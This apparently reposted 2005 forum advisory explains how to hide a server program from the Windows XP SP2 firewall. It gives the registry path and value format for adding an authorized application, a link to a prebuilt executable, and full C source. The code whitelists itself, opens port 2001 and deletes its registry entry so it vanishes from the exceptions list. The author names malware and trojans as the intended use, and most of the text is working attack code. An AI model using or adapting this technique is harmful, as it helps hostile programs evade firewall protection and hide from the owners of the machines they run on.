Likes: 
1.9.2005
Mark Kica
crusoe@alexandria.cc
FEI AI Technical University Kosice
#Dedicated to Katka H. from Levoca
How to avoid of detection of server application on Windows XP SP2 firewall
################################################## #############################
#Q:How safe is Windows XP SP2 firewall ?
#A:Not very...
This trick use only modification of registry keys.Windows Xp SP2 firewall have
list of allowed program in register which are not blocked.If you add new key
to it,your server (malware or trojane) can run freely.
also server can be invisible in following list
start->control panel->windows firewall->exceptions
It will become invisible from this list because after you create socket,you can remove registry string value of your server and connection wont be aborted
Other way how to bypass SP2 firewall ,is to create trojan not as server,but
as client.
################################################## ################
http://taekwondo-itf.szm.sk/bugg.zip
Test :
#c:\bugg.exe Server running on port 2001
connect to server with :
#telnet localhost 2001
################################################## ################
Our Registry path is
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess\Parameters\FirewallPolicy\Standard Profile\AuthorizedApplications\List
and there you can create string value
Value name Value
C:\chat.exe ........ C:\chat.exe:*:Enabled:chat
NO SPACES!!! in key name etc. _C:\chat.exe___
################################################## ###############
Tested on Windows XP 2005 center media edition with integrated SP2
Source code
(server use ezsocket lib)
#include <stdio.h>
#include <windows.h>
#include <ezsocket.h>
#include <conio.h>
#include "Shlwapi.h"
int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];
HKEY hKey;
int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\SharedAccess \\Parameters\\FirewallPolicy\\StandardProfile\\Aut horizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;
fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
fprintf(stdout, "Dedicated to Katka H. from Levoca \n");
sleep(3);
if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;
for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
fprintf(stdout, "Sended: Hello World\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
if (!strcmp(buffer, "quit"))
break;
}
ezsocket_exit();
return 0;
}
Quote
